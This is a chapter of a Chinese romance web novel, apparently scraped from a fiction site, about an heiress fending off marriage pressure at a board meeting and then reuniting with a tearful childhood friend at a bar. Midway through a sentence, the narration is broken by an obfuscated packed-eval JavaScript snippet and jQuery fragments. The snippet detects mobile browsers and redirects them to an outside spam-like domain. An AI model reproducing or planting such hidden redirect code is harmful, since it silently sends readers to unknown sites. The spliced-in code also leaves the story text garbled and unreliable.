“小钦啊,你今年都二十三了,也该找个对象了吧?”
会议进行到尾声,所有正事都已讨论完毕,年长者端起了长辈的架子,指点似的话语在会议室响起。
主位上原本低着脑袋看策划书的年轻女人抬起头,唇角微勾,轻轻挑眉,一双漂亮得极具侵略性的丹凤眼缓缓看向说话人——李成业,她那好父亲在位时走后门进来的关系户。
时跃钦上位不久,她知道时瑞明不会放弃在她没坐稳位子时给她使绊子,更不会放弃让私生子继承家业,但的确没想到他会不要脸到拿亲女儿的婚姻开刀。
婚姻不仅是女人的人生大事,更是男人最简单直接的获利方法,在场的人没有不知道时瑞明的董事长位置是怎么来的,更没有人不知道古氏是怎样变成时氏。
“李少今年多大了?”探究的视线一道道落在身上,时跃钦却像感知不到似的,散漫发问。
刁难没得到想要的结果,还被晚辈反问,李成业的脸色不大好看,但也没多想,只以为她想类比,冷声道:“他今年才十六……”
“他十六,我二十三。”时跃钦得到自己想要的答案直接开口打断,一脸为难道,“差七岁是不是太大了?”
一句话让会议室彻底安静,李成业更是被打了个措手不及,他反应过来后猛地站起身,瞪大眼睛,指着时跃钦,胸膛剧烈起伏着,被气得说不出话。
时跃钦见状敛了笑,眉眼耷拉下来,委屈道:“李总这么着急我的婚姻大事,我还以为是想让我做儿媳呢,看来是我误会了。”
李成业本人在上个月刚过完五十大寿,而他的妻子比他小了十岁,儿子又是在婚后第二年才有,无论如何都不过十来岁,时跃钦这话比起解释,落在众人耳中更像挑衅。
“小钦——”沉稳有力的声音在会议室响起,时跃钦听出了里面的警告意味,转头看去。
两鬓斑白的男人毫不回避地对上她的视线,他眉间微皱,像是极不满意她的做派。
时跃钦没回话,淡定地收回视线后靠向椅背:“既然没事了就散会吧!”
李成业重重哼了声,甩开身边人的手,拿着文件怒气冲冲地出了会议室;男人收起了手里的文件,坐在原位没动;时跃钦知道他的意思,安静地坐在原位等待众人离开。
“听说游家少爷昨天回来了,你和他联系了吗?”会议室只剩下两人,宋泓看着她,语气带着试探。
他是时跃钦的姥姥掌权时一手提拔起来的老董事,也是时跃钦二十岁前的遗产保管人,而时跃钦是他辅佐的第三位古家继承人。
时跃钦避开他的视线,没正面回答:“宋叔,我是个把公事和私事分得很开的人。”
这几天来两人没少起争执,表面上温顺的时跃钦骨子里比谁都倔,宋泓站起身,没再提,只是严肃告诫:“不要让外人有把手伸到你身边的机会。”
时跃钦应了声,安静地看着他离开,伸手拿起倒扣在桌面的手机。
鱼儿:【姐姐,我真的很想你,见一面好不好】
她的视线落在对方的头像上,镜头对准了那只蜷缩在圣诞树下的小猫。
那是在她在M国时捡回家的猫,但已经在这五年间寿终正寝,她没去见它最后一面,也没去看那个比小猫更听话的少年一眼。
时跃钦没回复,收起手机,抱着桌面的文件离开了会议室。
秘书抱着托盘退出办公室时撞见她,下意识汇报:“纪小姐来了。”
“知道了。”时跃钦应了声,推门进去,“你忙你的,这里不用管。
文件夹被随意丢向桌面,时跃钦走到沙发边,踢了踢女人脚上那只即将落地的高跟鞋:“来我这使唤我的秘书?”
下午时分,日落西斜,阳光落在她的脸上,美得不似真人。
曾被誉为海城第一花瓶的古锦遥长相不必多言,而时瑞明虽身无长处,但那张脸也算出挑,遗传了两人优点的时跃钦从小便是个美人坯子。
纪云扬起脑袋,见这美人入画般的景象被惊艳得没了动作。
这几年时跃钦过得并不好,时瑞明为了打压她,在她刚进公司那段时间什么活累就安排什么活给她,又要上学又要上班,有时她站着接个水的功夫都能睡着。
纪云有时会觉得她很可怜,但这话一出口就会收到她嘲弄的眼神,从一楼的前台到二十八楼的董事长办公室,时跃钦只用了五年,她用事实证明了自己不需要同情。
时跃钦并不意外她的出现,也知道她的目的,但不会明说,她坐在旁边的单人沙发上,等待来访者说出自己的用意。
“城西那块地换了负责人,你猜是谁。”纪云揉了揉脸,在心里唾弃被美色迷了眼的自己。
城西那块地由海城政府主办,要重建特色文化和美食区域,放出来的竞标表面上是为了找合作方,实际上早已内定了扶持对象,时跃钦不在备选名单,没有竞标资格,但项目涉及的方方面面牵扯巨大,她也派人留意着,知道最后承包方是游氏,闻言心里也有了猜测。
她的小鱼儿,游家唯一的少爷游舜虞。
这五年来,游舜虞对她的了解只能通过圈子里的共友,但她对游舜虞了如指掌,自然知道他在M国的情况,但负责这个项目……
“市政府的大项目,游家对他有这么大信心?”时跃钦随手拿起桌上的咖啡抿了口,脑子里思索着游家现在的情况。
游家与古家不同,她自幼在M国长大念书是因古家要转移资产,但游舜虞自幼在国外长大,目的到现在她也看不透。
游舜虞的两个姐姐都很有野心,只是方向不同,现在游董事长还没退下来,大姐就已经当上了游氏集团执行总裁,还未回国的二姐在M国设计界也颇有名气。
“那谁知道?”纪云不欲多说,见已将主角引出便挑明了目的,“苏袭今晚在JustBar组了局,说是要欢迎游舜虞回国,我两一道过去?”
时跃钦手指轻敲着扶手,脑子里天人交战。
下午刚提了婚事就转头去见游舜虞,时瑞明得到消息估计要以为她的解决办法会是跟游家联姻。
时瑞明那点本事对付不了她,但那点手段要是真使在游舜虞身上,以他那性子得直接跑到她面前来质问,不过他一直很好哄,主要是祂……
神明最近好像特别忙,大概一周才出现一次,有点麻烦,但不多。
时跃钦应了声:“好。”
——
海城JustBar。
JustBar是海城有名的高端酒吧,四层以上不对外开放,而今晚的聚会地点是老板专用的顶楼阳台。
其老板苏袭算游舜虞在海城为数不多的好友之一,游舜虞在海城待的时间不长,认识的人有限,只提供了部分来往人的名单,但苏袭却算得上海城有名的交际花之一,他将自己的圈子里可能对游舜虞有用的人能拉的都拉了过来,足以见其对游舜虞的重视。
时跃钦跟着另一朵交际花纪云走了遍过场,喝了一圈酒后又灌了几杯调酒师现调的高度酒,见主角还没来便溜达着去解决人生大事。
顶楼以电梯口为分界点隔出了两个空间,一个是聚会所在的观景平台,另一个则是休息区。
时跃钦从卫生间出来,径直进了休息区,生意场上觥筹交错,生活里她不想再过多沾酒。
苏袭跟家里人的关系不好,JustBar的顶楼休息区才是他的常驻地,时跃钦没想入侵苏袭的私人领地,安安静静地趴在休息室的窗台
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585858|171743||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上发呆。
古家祖宅和游家祖宅相距不远,两家也算得上世交,舅爷一家远在帝京,偌大的古家只有她一个小孩,所以她从小就爱在游家厮混,十六岁的游家大小姐游姰之又要带自家二妹虞泱,还要带她和话都说不好的游舜虞,每天烦不胜烦。
虞泱比她大四岁,八岁时去了M国,两年后她也去了M国,两姐妹和和美美地过了两年,六岁的游舜虞又到了M国,从此两人成天抢姐姐,虞泱懒得管她们,吵得烦了劝不住就直接房门一关,任外面乱成什么样也不管。
但后来两人的关系怎么又好起来了呢?时跃钦想不起来。
腰间兀然一紧,宽大的手掌环绕住她纤细的腰肢,紧接着肩膀一沉,温热的气息在颈侧喷洒。
“姐姐,我好想你啊。”
时跃钦僵了身子,但胸腔里的心跳得越来越快,腰间的胳膊紧贴着她的衬衫,用力到想将她按死在怀里。
她深吸一口气,微微低头,无声地抬起脚,找准位置用力踩下。
身后禁锢着她的人发出闷哼声,环住她的胳膊更加用力,颈间的脑袋蹭了蹭,□□的发丝从她脸上扎过,她闭了闭眼,忍无可忍地冷声警告:“松手!”
身后的人僵了片刻,呜呜咽咽的啜泣声突兀响起,时跃钦眉间轻跳,想起来了,哪有什么水火不容,一旦真动手游舜虞立刻掉眼泪,她是受不得听他哭,只能哄。
看来这五年也没长进多少!时跃钦咬牙。
“为什么哭?”她忍下想动手的冲动,努力让语气变得温柔些,“一见面就哭,不想见我?”
“才没有!”被冤枉了的人带着哭腔反驳,“我昨天就回国了,给你发信息你也不回,给你打电话你也不接……”
声音断断续续,时跃钦的心酸酸胀胀。
“姐姐,你是不是在外面有别的狗了?”
时跃钦:?
脏话在舌尖打圈,但不知道想到了什么又咽了下去。
迟迟没听见反驳的声音,游舜虞真心实意了些:“他有我听话吗?他有我好玩吗?他有我有钱……”
“闭嘴!”时跃钦从牙关里挤出两字,垂在身侧的手早已握拳,她伸手握住腰间的手,快准狠地往后一旋,快速脱离了他的桎梏,两人的姿势变成了面对面。
男人两眼通红,长睫毛上还挂着泪珠,时跃钦伸手在颈间一摸,脖颈间的水珠转移到了指尖,她偏过头,深吸一口气,往后退开半步。
游舜虞见她不看自己,眨眼间便蹲下身,呜呜咽咽的抽泣音再次响起,时跃钦茫然地瞪大眼,一脸不可置信。
委屈,这五年都很委屈,所有的委屈在见到时跃钦的那一刻再也忍不住。
见面前他排练过无数次两人相见的场景,但没有一个场景是他掉眼泪,他知道自己不该哭,但就跟五年前送别一样,他忍不住。
在回国之前虞泱特地找他谈了话,他知道时瑞明没打算善罢甘休,也知道时跃钦正处于风口浪尖,他不想给她添麻烦,也不想让她心烦,他想两个人都高高兴兴的,想陪在她身边,但他没等到回应,五年都没等到回应。
时跃钦不在意他。
那句干脆的、不含任何情绪的‘放手’让他再也控制不住自己的情绪,让他这些年的苦痛挣扎都像极了笑话。
游舜虞的体验报告虞泱每次都会给她抄送,时跃钦看着眼前缩成一团的男人,实在不敢相信他有一米九三。
这跟以前被她揍了,窝在沙发角落等人哄的一团有什么区别?
时跃钦弯腰将人强硬拽起,轻声细语道:“为什么回国见我的第一面就要哭?”
游舜虞偏头抹了把泪,带着哭腔的声音满是控诉:“你已经93天没回我的信息了!”